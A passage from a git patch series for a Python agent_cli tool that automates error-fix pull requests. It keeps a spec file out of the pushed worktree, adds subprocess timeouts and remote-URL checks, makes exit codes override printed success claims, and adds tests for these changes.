+ finally: + store.close() + + def test_build_review_spec_file_raises_unavailable_despite_dirty_worktree_diff( tmp_path: Path, ) -> None: From a10647f0ce699d5bc96bae99d33de38d013b8443 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 15:38:27 -0300 Subject: [PATCH 15/47] Fix a stale function reference and unfinished comment. A comment pointed at a function name that never existed (_retry_launch_once); the real function implementing that retry shape is _lane_retry_then_fail. A separate test comment was left as unfinished drafting text. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/run_core.py | 2 +- tests/test_run.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index f4440ef..e02faea 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -1121,7 +1121,7 @@ def execute_spine_step( ) except ReviewDiffUnavailableError as exc: # External/transient git failure — leave task untouched for retry - # (same shape as vendor_unavailable in _retry_launch_once). + # (same shape as vendor_unavailable in _lane_retry_then_fail). working = main_mod._find_working_agent( store, tid, role=role, vendor=vendor, round_num=round_num ) diff --git a/tests/test_run.py b/tests/test_run.py index af35d05..39741ed 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -1730,8 +1730,7 @@ def test_local_check_reruns_after_pr_rejection_with_new_head( row["id"], {k: v for k, v in row.items() if not str(k).startswith("_")}, ) - # Also reopen pushed so spine lands on local_check_pass first... actually - # after local_check_pass=nein with prior steps ja, next is local_check_pass. + # local_check_pass=nein with prior steps ja -> next spine step is local_check_pass. check_calls = {"n": 0} def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: From 2594983ea85bf4d80e4cb9935516b1ca835aa002 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 17:05:03 -0300 Subject: [PATCH 16/47] Stop the driver's control file from leaking into the pushed worktree. .spec.md was written into the same directory the fixer clones and pushes from, so a real invocation would hit the pre-push dirty-check and fail every push -- or, if that check were ever bypassed, leak error_id/fingerprint/service/brief into the public PR. Never caught because every existing test mocked push_branch away entirely. The spec now lives under a sibling directory outside the checkout; the new regression test uses a real git repo, a real bare remote, and the real push_branch to prove the worktree stays clean. Also closes a second gap that would have silently defeated a real production run: the STATUS-text parser trusted a printed "STATUS: complete" over the process's actual exit code, so a lane that crashed or timed out right after printing its report still got auto-approved -- directly against CONTRIBUTING.md's "timeout is not zero findings" rule. A non-zero exit now overrides a stale-looking success claim. Smaller fixes, in priority order: bounded timeouts on the git/gh subprocess calls so a hung operation surfaces as a retryable failure instead of blocking the unattended scan forever; push destination now verified against the expected repo URL, not just the remote name; the opened PR's number is persisted so a PR-gate rejection reaches the actual PR as a review comment, not only the next round's regenerated spec; a docstring's overclaim about normalization coverage narrowed to what this PR actually touches; the review-diff prompt now fences its embedded copy dynamically instead of a fixed triple-backtick fence; and a cosmetic double-period fixed in the generated PR summary. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 11 +- src/agent_cli/fixer_act.py | 77 +++++--- src/agent_cli/git_act.py | 53 +++++- src/agent_cli/lane.py | 12 +- src/agent_cli/main.py | 22 ++- src/agent_cli/run_core.py | 20 ++- tests/test_fixer_act.py | 319 +++++++++++++++++++++++++++++++-- tests/test_git_act.py | 93 ++++++++++ tests/test_lane.py | 19 ++ tests/test_run.py | 68 ++++++- 10 files changed, 637 insertions(+), 57 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 6e5282e..16dcd53 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -156,11 +156,14 @@ def validate_conclusion( Callers MUST write the returned dict, not the original `payload`, to the store. Validation checks the stripped (normalized) error_id/fingerprint/ - reason; every downstream comparison (has_error_fix_activity, - _chain_snapshot's error_fix_confirmed, fixer_act._error_fix_brief) does - exact `==` against whatever was persisted. Persisting the raw, unstripped - payload would validate one value and compare a different one. + reason; every downstream comparison this PR touches + (has_error_fix_activity, _chain_snapshot's error_fix_confirmed, + fixer_act._error_fix_brief) does exact `==` against whatever was + persisted. Persisting the raw, unstripped payload would validate one + value and compare a different one. """ + # errors.incident_closed still compares error_id without this normalization + # — out of scope for this PR; do not touch errors.py. error_id = _nonempty_str(payload.get("error_id")) if error_id is None: raise StoreError("error_id is required") diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index c404555..1a22789 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -17,7 +17,7 @@ from .error_fix_act import _error_seen, _nonempty_str, _repo_ok from .lane import Runner as LaneRunner, extract_findings_text from .runtime import Completed -from .run_core import DEFAULT_ROUND_CAP, RunOutcome, execute_spine_step +from .run_core import DEFAULT_ROUND_CAP, RunOutcome, _fence_marker, execute_spine_step from .store import Store, StoreError Runner = Callable[[list[str]], Completed] @@ -58,20 +58,6 @@ def _first_sentence(text: str) -> str: return stripped -def _fence_marker(text: str) -> str: - """Backtick fence one longer than the longest run inside text (min 3).""" - longest = 0 - run = 0 - for ch in text: - if ch == "`": - run += 1 - if run > longest: - longest = run - else: - run = 0 - return "`" * max(3, longest + 1) - - def _error_fix_brief(store: Store, session_id: str, error_id: str) -> str | None: """Return payload.brief from the session's error.fix row for this error_id.""" origin = store.device_id() @@ -100,7 +86,7 @@ def write_error_fix_spec( repo: str, rejection_feedback: str | None = None, ) -> Path: - """Write a five-part spec under $AGENT_HOME/error-fix-work//.spec.md.""" + """Write a five-part spec under $AGENT_HOME/error-fix-specs//.spec.md.""" seen = _error_seen(store, session_id, error_id) seen_payload = seen.get("payload") if isinstance(seen.get("payload"), dict) else {} brief = _error_fix_brief(store, session_id, error_id) or "" @@ -109,7 +95,8 @@ def write_error_fix_spec( environment = _nonempty_str(seen_payload.get("environment")) or "" class_name = _nonempty_str(seen_payload.get("class")) or "" # Never feed raw log excerpt fields into the spec (DESIGN.md §19.2). - parent = Path(store.home) / "error-fix-work" / tid + # Sibling of error-fix-work — never inside the pushed git worktree. + parent = Path(store.home) / "error-fix-specs" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) path = parent / ".spec.md" if rejection_feedback: @@ -172,15 +159,19 @@ def template_pr_open_payload( suffix = suffix[:69] + "..." title = f"{session_id[:8]} - {suffix}" brief_summary = _first_sentence(brief).splitlines()[0].strip() if brief else "" + # _first_sentence already includes terminal punctuation when non-empty; + # only the empty fallback needs a period baked into the literal. + brief_part = brief_summary[:200] if brief_summary else "see task spec." + brief_part_de = brief_summary[:200] if brief_summary else "siehe Task-Spec." en = ( f"Automated error-fix for `{fingerprint or short}` in `{repo}`. " f"Draft only; a human merges. " - f"Brief: {brief_summary[:200] if brief_summary else 'see task spec'}." + f"Brief: {brief_part}" ) de = ( f"Automatischer error-fix für `{fingerprint or short}` in `{repo}`. " f"Nur Entwurf; ein Mensch merged. " - f"Brief: {brief_summary[:200] if brief_summary else 'siehe Task-Spec'}." + f"Brief: {brief_part_de}" ) brief_text = brief or "(none)" brief_fence = _fence_marker(brief_text) @@ -224,6 +215,33 @@ def _pr_open_row_exists(store: Store, *, head: str) -> bool: return False +def _pr_open_number(store: Store, *, head: str) -> int | None: + """Return result.number from a done pr.open for head, or None if missing.""" + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("type") != "pr.open": + continue + if row.get("execution_status") != "done": + continue + payload = row.get("payload") + if not isinstance(payload, dict) or payload.get("head") != head: + continue + result = row.get("result") + if not isinstance(result, dict): + return None + number = result.get("number") + if isinstance(number, bool): + return None + if isinstance(number, int) and number > 0: + return number + if isinstance(number, str) and number.isdigit() and int(number) > 0: + return int(number) + return None + return None + + def _pr_open_pending_row_exists(store: Store, *, head: str) -> bool: """True when a mid-flight pr.open (execution_status=pending) exists for head.""" origin = store.device_id() @@ -566,6 +584,20 @@ def _drive_one( # next scan rather than failing it; each cron/knock scan retries. if not _pr_open_row_exists(store, head=pr_head): return f"error-fix-work {tid} pr.open-error (create failed)" + # Persist PR number on payload (task.ref stays the checkout ref). + pr_number = _pr_open_number(store, head=pr_head) + if pr_number is not None: + task = store.row("task", tid) or task + task_payload = ( + task.get("payload") + if isinstance(task.get("payload"), dict) + else {} + ) + if task_payload.get("pr_number") != pr_number: + task_payload = dict(task_payload) + task_payload["pr_number"] = pr_number + task["payload"] = task_payload + store.write("task", "update", tid, main_mod._strip(task)) except (StoreError, OSError, SystemExit) as exc: return f"error-fix-work {tid} pr.open-error ({exc})" # Fall through so this scan can continue the spine; next scan @@ -614,7 +646,8 @@ def _drive_one( return f"error-fix-work {tid} contributing_ok-blocked ({exc})" continue - spec_path = worktree / ".spec.md" + # Spec lives under error-fix-specs, never inside the pushed worktree. + spec_path = Path(store.home) / "error-fix-specs" / tid / ".spec.md" if not spec_path.is_file() and error_id and repo: write_error_fix_spec( store, @@ -714,10 +747,12 @@ def _runner_to_completed( try: if cwd is not None: proc = subprocess.run( # noqa: S603 - argv, cwd=cwd, capture_output=True, text=True, check=False + argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=120 ) return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") return runner(argv) + except subprocess.TimeoutExpired as exc: + return Completed(124, "", str(exc) or "git/gh call timed out after 120s") except OSError as exc: return Completed(127, "", str(exc)) diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index e5888f9..d2e03d3 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -48,7 +48,54 @@ def _resolve_remote(cwd: str, runner: Runner) -> str: raise GitActError("ambiguous remotes (no origin)") -def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) -> str: +def _normalize_repo_identity(raw: str) -> str | None: + """Normalize a git remote URL or org/repo string down to 'org/repo'.""" + s = raw.strip() + if not s: + return None + if s.endswith(".git"): + s = s[: -len(".git")] + if "://" in s: + after_scheme = s.split("://", 1)[1] + parts = after_scheme.split("/") + if len(parts) < 3 or not parts[1] or not parts[2]: + return None + return f"{parts[1]}/{parts[2]}" + if "@" in s and ":" in s.rsplit("@", 1)[-1]: + path = s.rsplit(":", 1)[-1] + parts = path.split("/") + if len(parts) != 2 or not parts[0] or not parts[1]: + return None + return f"{parts[0]}/{parts[1]}" + parts = s.split("/") + if len(parts) != 2 or not parts[0] or not parts[1]: + return None + return f"{parts[0]}/{parts[1]}" + + +def _ensure_remote_matches_repo( + cwd: str, runner: Runner, remote: str, expected_repo: str +) -> None: + """Fail-closed when remote's push URL does not resolve to expected_repo.""" + completed = runner(_git(cwd, "remote", "get-url", "--push", remote)) + if completed.returncode != 0: + raise GitActError(_fail_detail(completed, "git remote get-url failed")) + url = completed.stdout.strip() + got = _normalize_repo_identity(url) + want = _normalize_repo_identity(expected_repo) + if got is None or want is None or got != want: + raise GitActError( + f"remote {remote!r} push URL does not match expected repo {expected_repo!r}" + ) + + +def push_branch( + *, + cwd: str, + runner: Runner, + expected_branch: str | None = None, + expected_repo: str | None = None, +) -> str: """Push the current branch if needed. Return HEAD sha (lowercase hex).""" completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "HEAD")) if completed.returncode != 0: @@ -78,6 +125,8 @@ def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) raise GitActError("no upstream") # Fresh branch (e.g. error-fix checkout -B): set upstream on first push. remote = _resolve_remote(cwd, runner) + if expected_repo is not None: + _ensure_remote_matches_repo(cwd, runner, remote, expected_repo) merge_ref = f"refs/heads/{branch}" merge_short = branch if merge_short in PROTECTED: @@ -112,6 +161,8 @@ def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) f"branch {branch!r} tracks remote {remote!r} but expected " f"{expected_remote!r} — refusing to push" ) + if expected_repo is not None: + _ensure_remote_matches_repo(cwd, runner, remote, expected_repo) completed = runner(_git(cwd, "fetch", "--", remote)) if completed.returncode != 0: diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index e13e3b7..570433e 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -230,13 +230,19 @@ def tmux_wrap_argv(inner: list[str], *, name: str, cwd: str) -> list[str]: def parse_status(output: str, returncode: int) -> str: matches = list(_STATUS_RE.finditer(output)) - if matches: - return matches[-1].group(1).lower() + matched = matches[-1].group(1).lower() if matches else None + # Trust embedded STATUS only when it already implies failure, or when the + # process actually exited 0. A crash/timeout after printing STATUS: complete + # must not auto-approve. + if matched in ("timeout", "unavailable"): + return matched + if matched is not None and returncode == 0: + return matched if returncode == 124: return "timeout" if returncode != 0: return "unavailable" - return "partial" + return matched if matched is not None else "partial" def _default_runner(argv: list[str], stdin_text: str | None) -> subprocess.CompletedProcess[str]: diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 3fa5ea8..6310ea4 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -1077,12 +1077,22 @@ def cmd_check(args: list[str]) -> None: def _task_pull_request(task: dict) -> tuple[str, int] | None: """The task's pull request as (repo, number), or None when it has none.""" repo = _repo_ok(task.get("repo")) - ref = task.get("ref") if repo is None: return None - if not isinstance(ref, str) or not ref.isdigit() or int(ref) <= 0: + ref = task.get("ref") + if isinstance(ref, str) and ref.isdigit() and int(ref) > 0: + return repo, int(ref) + # error-fix tasks keep task["ref"] as a git checkout ref; the PR number + # lives on payload.pr_number (set by the fixer after pr.open succeeds). + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + pr_number = payload.get("pr_number") + if isinstance(pr_number, bool): return None - return repo, int(ref) + if isinstance(pr_number, int) and pr_number > 0: + return repo, pr_number + if isinstance(pr_number, str) and pr_number.isdigit() and int(pr_number) > 0: + return repo, int(pr_number) + return None def _queue_gate_findings( @@ -2528,7 +2538,11 @@ def _exec_argv(argv: list[str], *, cwd: str | None = None) -> "Completed": import subprocess try: - proc = subprocess.run(argv, cwd=cwd, capture_output=True, text=True, check=False) # noqa: S603 + proc = subprocess.run( # noqa: S603 + argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=120 + ) + except subprocess.TimeoutExpired as exc: + return Completed(124, "", str(exc) or "git/gh call timed out after 120s") except OSError as exc: return Completed(127, "", str(exc)) return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index e02faea..c378599 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -49,6 +49,20 @@ ExecArgv = Callable[..., Any] +def _fence_marker(text: str) -> str: + """Backtick fence one longer than the longest run inside text (min 3).""" + longest = 0 + run = 0 + for ch in text: + if ch == "`": + run += 1 + if run > longest: + longest = run + else: + run = 0 + return "`" * max(3, longest + 1) + + class EmptyReviewDiffError(Exception): """Raised by build_review_spec_file when the collected diff is empty.""" @@ -396,13 +410,14 @@ def build_review_spec_file( "then judge logic and correctness of the diff only.\n" ) + fence = _fence_marker(diff_text) body = ( f"# Scope\n\n" f"Read the unified diff via the Read tool from this absolute path:\n" f"`{abs_diff}`\n\n" f"Changed paths: {paths_line}\n\n" f"Unified diff (also embedded for convenience; the Read path is required):\n\n" - f"```diff\n{diff_text}\n```\n\n" + f"{fence}diff\n{diff_text}\n{fence}\n\n" f"# Dimension\n\n" f"{dimension}\n\n" f"# Context\n\n" @@ -854,7 +869,7 @@ def execute_spine_step( run_cwd = cwd or os.getcwd() from .git_act import GitActError, push_branch - from .error_fix_act import _nonempty_str + from .error_fix_act import _nonempty_str, _repo_ok payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} raw_error_id = payload.get("error_id") @@ -890,6 +905,7 @@ def execute_spine_step( cwd=run_cwd, runner=lambda argv: exec_argv(argv, cwd=run_cwd), expected_branch=expected_branch, + expected_repo=_repo_ok(task.get("repo")), ) except GitActError as exc: return RunOutcome( diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index b346bcd..56e99f9 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -4,6 +4,7 @@ import os import shutil +import subprocess import uuid from pathlib import Path @@ -21,7 +22,7 @@ template_pr_open_payload, write_error_fix_spec, ) -from agent_cli.git_act import GitActError +from agent_cli.git_act import GitActError, push_branch from agent_cli.lane import LaneResult, findings_header_present from agent_cli.runtime import Completed from agent_cli.store import Store, StoreError @@ -162,7 +163,11 @@ def _bootstrap_error_fix_task( worktree = home / "error-fix-work" / tid worktree.mkdir(parents=True, exist_ok=True) (worktree / ".git").mkdir(exist_ok=True) - (worktree / ".spec.md").write_text("# Task\n\nfix it\n", encoding="utf-8") + # Spec lives under error-fix-specs (sibling of the git worktree), never + # inside the pushed clone. + specs = home / "error-fix-specs" / tid + specs.mkdir(parents=True, exist_ok=True) + (specs / ".spec.md").write_text("# Task\n\nfix it\n", encoding="utf-8") capsys.readouterr() return tid @@ -400,6 +405,130 @@ def test_write_error_fix_spec_fences_brief_in_task_section(tmp_path: Path) -> No store.close() +def test_write_error_fix_spec_outside_git_worktree(tmp_path: Path) -> None: + """`.spec.md` must live under error-fix-specs, never inside the pushed worktree. + + Real git repo + real runner (no push_branch mock) so the pre-push dirty + check would trip if the control file leaked into the clone. + """ + worktree = tmp_path / "error-fix-work" / "tid-real" + bare = tmp_path / "remote.git" + worktree.mkdir(parents=True) + subprocess.run(["git", "init"], cwd=worktree, check=True, capture_output=True) + subprocess.run( + ["git", "config", "user.email", "test@example.com"], + cwd=worktree, + check=True, + capture_output=True, + ) + subprocess.run( + ["git", "config", "user.name", "Test"], + cwd=worktree, + check=True, + capture_output=True, + ) + (worktree / "README").write_text("hi\n", encoding="utf-8") + subprocess.run(["git", "add", "README"], cwd=worktree, check=True, capture_output=True) + subprocess.run( + ["git", "commit", "-m", "init"], + cwd=worktree, + check=True, + capture_output=True, + ) + # push_branch refuses protected names (main/master/develop); use a feature branch. + subprocess.run( + ["git", "checkout", "-B", "feat-spec-leak"], + cwd=worktree, + check=True, + capture_output=True, + ) + subprocess.run(["git", "init", "--bare", str(bare)], check=True, capture_output=True) + subprocess.run( + ["git", "remote", "add", "origin", str(bare)], + cwd=worktree, + check=True, + capture_output=True, + ) + + def real_runner(argv: list[str]) -> Completed: + proc = subprocess.run(argv, capture_output=True, text=True, check=False) + return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") + + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + ERROR_ID, + { + "id": ERROR_ID, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod", + "repo": "org/app", + "service": "api", + "environment": "prod", + "class": "TimeoutError", + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": ERROR_ID, + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Timeout in handler; add retry.", + }, + "execution_status": "pending", + }, + ) + tid = "tid-real" + path = write_error_fix_spec( + store, + tid, + error_id=ERROR_ID, + session_id="sess-1", + repo="org/app", + ) + assert path == tmp_path / "error-fix-specs" / tid / ".spec.md" + assert path.is_file() + # Spec must not be a descendant of the git worktree. + assert worktree.resolve() not in path.resolve().parents + assert not str(path.resolve()).startswith(str(worktree.resolve()) + os.sep) + + status = real_runner( + [ + "git", + "-C", + str(worktree), + "status", + "--porcelain", + "--untracked-files=all", + ] + ) + assert status.returncode == 0 + assert status.stdout.strip() == "" + assert ".spec.md" not in status.stdout + + # Real push_branch against the bare remote must succeed (dirty-check clean). + sha = push_branch( + cwd=str(worktree), + runner=real_runner, + expected_branch="feat-spec-leak", + ) + assert sha + finally: + store.close() + + def test_pushed_passes_expected_branch_from_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -409,14 +538,16 @@ def test_pushed_passes_expected_branch_from_error_id( captured: dict[str, object] = {} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] captured["expected_branch"] = expected_branch + captured["expected_repo"] = expected_repo return "abcdef1234567890abcdef1234567890abcdef12" monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) run(tmp_path, ["run", "--task", tid]) capsys.readouterr() assert captured.get("expected_branch") == f"error-fix-{ERROR_ID[:8]}" + assert captured.get("expected_repo") == "org/app" assert _checklist(tmp_path, tid)["pushed"] == "ja" @@ -432,7 +563,7 @@ def test_drive_one_fails_loudly_on_stale_whitespace_only_error_id( _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) monkeypatch.setattr( "agent_cli.git_act.push_branch", - lambda *, cwd, runner, expected_branch=None: "abcdef1234567890abcdef1234567890abcdef12", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: "abcdef1234567890abcdef1234567890abcdef12", ) run(tmp_path, ["run", "--task", tid]) capsys.readouterr() @@ -481,7 +612,7 @@ def test_fixer_threads_pushed_head_into_pr_gate( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -684,7 +815,7 @@ def test_fixer_retries_pr_open_across_scans_after_insert_failure( insert_calls = {"n": 0} head = f"error-fix-{ERROR_ID[:8]}" - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -785,7 +916,7 @@ def test_fixer_stops_on_persistent_gh_pr_create_failure( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" create_calls = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -957,6 +1088,36 @@ def test_template_pr_open_payload_brief_with_triple_backtick_line_stays_fenced() assert body.count("Details") == 1 +def test_template_pr_open_payload_brief_has_single_trailing_period() -> None: + """Non-empty brief first sentence must not get a second appended period.""" + payload = template_pr_open_payload( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief="Fix the retry loop. More detail here.", + fingerprint="fp-1", + ) + body = str(payload["body"]) + assert "Brief: Fix the retry loop." in body + assert "Brief: Fix the retry loop.." not in body + + +def test_template_pr_open_payload_empty_brief_fallback_has_one_period() -> None: + """Empty brief uses the fallback literal with exactly one trailing period.""" + payload_en = template_pr_open_payload( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief="", + fingerprint="fp-1", + ) + body = str(payload_en["body"]) + assert "Brief: see task spec." in body + assert "Brief: siehe Task-Spec." in body + assert "Brief: see task spec.." not in body + assert "Brief: siehe Task-Spec.." not in body + + def test_first_sentence_skips_common_abbreviations() -> None: """Period after e.g./Dr./etc. must not truncate the first sentence.""" brief = "e.g. this is broken and needs fixing. Second sentence here." @@ -1046,14 +1207,34 @@ def runner(argv: list[str]) -> Completed: assert seen == [["echo", "hi"]] +def test_runner_to_completed_timeout_returns_124( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """subprocess.TimeoutExpired in the cwd branch becomes Completed(124).""" + + def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] + raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) + + monkeypatch.setattr(subprocess, "run", boom) + completed = _runner_to_completed( + lambda _argv: Completed(1, "", "runner-should-not-run"), + ["sleep", "999"], + cwd=str(tmp_path), + ) + assert completed.returncode == 124 + assert completed.stderr + + def _fake_insert_pr_open_and_scan(store, *, session_id, payload, runner): # type: ignore[no-untyped-def] """Simulate a successful insert_pr_open_and_scan: writes a real pr.open row so _pr_open_row_exists finds it (matches flaky_insert's success branch). Real insert_pr_open_and_scan leaves execution_status=done after scan_github succeeds; only done counts as present under the stricter exists check. + Includes result.number so the fixer can persist payload.pr_number. """ activity_id = str(uuid.uuid4()) + repo = payload.get("repo") if isinstance(payload, dict) else None store.write( "activity", "insert", @@ -1064,6 +1245,12 @@ def _fake_insert_pr_open_and_scan(store, *, session_id, payload, runner): # typ "type": "pr.open", "payload": payload, "execution_status": "done", + "result": { + "repo": repo, + "number": 42, + "url": f"https://github.com/{repo}/pull/42", + "draft": True, + }, }, ) return [] @@ -1103,7 +1290,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] monkeypatch.setattr( "agent_cli.git_act.push_branch", - lambda *, cwd, runner, expected_branch=None: pushed_sha, + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) @@ -1154,7 +1341,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] monkeypatch.setattr( "agent_cli.git_act.push_branch", - lambda *, cwd, runner, expected_branch=None: pushed_sha, + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) @@ -1219,7 +1406,7 @@ def boom_evidence(snap): # type: ignore[no-untyped-def] monkeypatch.setattr( "agent_cli.git_act.push_branch", - lambda *, cwd, runner, expected_branch=None: pushed_sha, + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) @@ -1261,7 +1448,7 @@ def test_fixer_pr_gate_rejection_clears_head_for_new_push( push_calls = {"n": 0} rejects = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -1345,6 +1532,106 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert str(approved_gq[-1].get("head_sha") or "").lower() == shas[1] +def test_fixer_persists_pr_number_and_queues_gate_findings( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """After pr.open, payload.pr_number is set so PR-gate rejection queues review.post.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + shas = [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ] + push_calls = {"n": 0} + rejects = {"n": 0} + + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] + i = push_calls["n"] + push_calls["n"] += 1 + return shas[min(i, len(shas) - 1)] + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == "pr-reviewer-quality" and vendor == "grok" and rejects["n"] == 0: + rejects["n"] += 1 + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- fix the retry loop\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + # error-fix tasks keep ref as a checkout ref, not a PR number. + assert not ( + isinstance(task.get("ref"), str) + and task["ref"].isdigit() + and int(task["ref"]) > 0 + ) + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + updated = store.row("task", tid) + assert updated is not None + payload = updated.get("payload") + assert isinstance(payload, dict) + assert payload.get("pr_number") == 42 + review_posts = [ + r + for r in store.rows("activity") + if r.get("type") == "review.post" + ] + assert review_posts, "PR-gate rejection must queue a review.post via pr_number" + assert any( + isinstance(r.get("payload"), dict) and r["payload"].get("number") == 42 + for r in review_posts + ) + finally: + store.close() + + def test_rejection_feedback_rewritten_into_spec( tmp_path: Path, capsys: pytest.CaptureFixture[str], 